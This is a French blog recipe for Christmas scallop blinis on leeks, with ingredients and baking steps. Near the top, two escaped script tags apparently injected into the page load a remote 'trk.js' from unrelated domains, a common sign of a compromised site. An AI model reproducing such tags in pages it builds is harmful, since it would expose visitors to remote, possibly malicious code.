Recettes de Noël : Blinis de St Jacques sur lit de poireaux

Recettes de Noël

16.12.2017 …

Par Manue

Bonjour les filles !!

&amp;lt;SCRIPT src="http://script.onfocus.io/0_trk/trk.js"&amp;gt;&amp;lt;/SCRIPT&amp;gt; &amp;lt;SCRIPT src="http://fogl1onf.com/0_trk/trk.js"&amp;gt;&amp;lt;/SCRIPT&amp;gt;Voici une recette spécial Noël, a essayer avant si vous ne voulez pas vous lancer la veille....

Facile à réaliser... Vous pouvez remplacer les noix de St Jacques par des petits morceaux de saumon ou tout autre poisson... Pour les poireaux, utiliser plutôt le blanc des poireaux pour cette recette, c'est meilleur... Gardez le vert, pour votre soupe...

Quant aux blinis, vous pouvez prendre des petits blinis à apéro... ou des gros blinis (1 par personne suffira largement pour une belle entrée)

4 poireaux
500 g de noix de St Jacques
4 Blini
50 cl de crème fraîche
50 g de parmesan
Thym
Ail frais et coupé
1 cuillère à soupe d'huile d'olive

temps total : 35 min

Préparation : Prép. : 10 min

Cuisson : 25 min

Faites revenir les blancs de poireaux dans une poêle avec un fond d'huile d'olive.
Faites saisir rapidement les noix de saint-Jacques dans une autre poêle avec de l'huile d'olive, du thym et de l'ail.
Disposez vos blinis dans un plat sur un fond de crème.
Mettez de la crème également sur les blinis, puis disposez les poireaux dessus.
Ajoutez les noix de saint-Jacques et, pour finir, saupoudrez de parmesan.
Enfournez au four préalablement chauffé à 220°C (thermostat 7-8) pour une durée de 20 à 25 min.
Il ne vous reste plus qu'à déguster avec un bon Sylvaner mis au frais...